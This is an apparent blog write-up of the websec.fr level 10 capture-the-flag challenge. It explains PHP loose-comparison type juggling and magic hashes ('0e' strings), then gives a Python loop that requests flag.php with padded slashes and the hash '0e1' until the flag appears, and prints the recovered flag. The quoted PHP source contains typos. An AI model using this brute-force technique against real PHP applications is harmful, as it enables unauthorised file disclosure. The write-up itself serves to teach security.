Post

Websec.fr level 10 - easy

The level

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if (isset ($_REQUEST['f']) && isset ($_REQUE['hash'])) {
    $file = $_REQUEST['f'];
    $request = $_REQUEST['hash']
    $hash = substr (md5 ($flag . $file . $flag), 0, 8)
    echo '<div class="row"><br><pre>';
    if ($request == $hash) {
    show_source ($file);
    } else {
    echo 'Permission denied!';
    }
    echo '</pre></div>';
}
?>

Ok, so what do we have here ? if ‘f’ and ‘hash’ is set in our data in the request we send, and the first 8 chars of the md5 of $flag + $file + $flag is equal to $request (which is ‘hash’) we will show the source file (which is obviously flag.php)

So, what is the catch ? Let’s talk about Type Juggling.

Type Juggling

PHP is a loosely typed language, which means it tries to predict the programmer’s intent and automatically converts variables to different types whenever it seems necessary. For example, a string containing only numbers can be treated as an integer or a float. However, this automatic conversion (or type juggling) can lead to unexpected results, especially when comparing variables using the ‘==’ operator, which only checks for value equality (loose comparison), not type and value equality (strict comparison).

Magic Hashes

Magic hashes arise due to a quirk in PHP’s type juggling, when comparing string hashes to integers. If a string hash starts with “0e” followed by only numbers, PHP interprets this as scientific notation and the hash is treated as a float in comparison operations.

So, basically, if we input in our request hash in the form 0e{some_numbers} then we also input a file that the first 3 chars is 0e then a number, they will be equal and will get the content of the flag. So starting with a basic script to check it’s possible.

Remember ! the only think we can change is the amount of / in ./flag.php

1
2
3
4
5
6
7
8
counter = 1
while True:
    f = f".{'/' * counter}flag.php"
    if str(hashlib.md5(f"abc{f}abc".encode()).hexdigest()).startswith("0e"):
        print("Did it !!")
        print(f)
        break
    counter += 1

image

Cool ! so it’s possible, let’s write full script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import hashlib

counter = 1
while True:
    prefix = f".{'/' * counter}"
    print(f"Trying {counter} times")
    r = requests.post("http://websec.fr/level10/index.php", data={
        'hash': "0e1",
        'f': prefix + 'flag.php'
    })

    if "WEBSEC{" in r.text:
        print(f"Did it !!! only after {counter} tries")
        print(r.text)
        break

    counter += 1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
Trying 881 times
Did it !!! only after 881 tries

<!DOCTYPE html>
<html>
<head>
    <title>#WebSec Level Ten</title>
    <link rel="stylesheet" href="../static/bootstrap.min.css"/>
</head>
<body>
<div id="main">
    <div class="container">
        <div class="row">
            <h1>LevelTen<small> - Awesome File Downloader.</small></h1>
        </div>
        <div class="row">
            <p class="lead">
		Here we have a <a href="source.php">cool file downloader</a>. It allows you to download arbitrary files, even <mark>flag.php</mark>,
		as long as it's a legit request!<br>
                Thanks to an <mark>anonymous contributor</mark> for this challenge.
            </p>
        </div>
    </div>
    <div class="container">
        <div class="row">
            <form name="username" method="post" class="form-inline">
                    <div class="form-group">
                        <label for="f">File</label>
                        <span class='text-success'></span>
                        <input type="text" class="form-control" required id="f" value="index.php" name="f">
                    </div>
                    <div class="form-group">
                        <label for="hash">Secret hash</label>
			<input type="text" class="form-control" required id="hash" value="b4382d64" name="hash" >
                    </div>
                <button type="submit" class="btn btn-default">Get!</button>
            </form>
        </div>
        <div class="row"><br><pre><code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php<br />$flag&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"WEBSEC{Lose_typ1ng_system_are_super_great_aren't_them?}"</span><span style="color: #007700">;<br /></span>
</span>
</code></pre></div>    </div>
</div>
<link rel="stylesheet" href="../static/bootstrap.min.js"/>
</body>
</html>
1
WEBSEC{Lose_typ1ng_system_are_super_great_aren't_them?}

Great ! Thanks for reading !!!

This post is licensed under CC BY 4.0 by the author.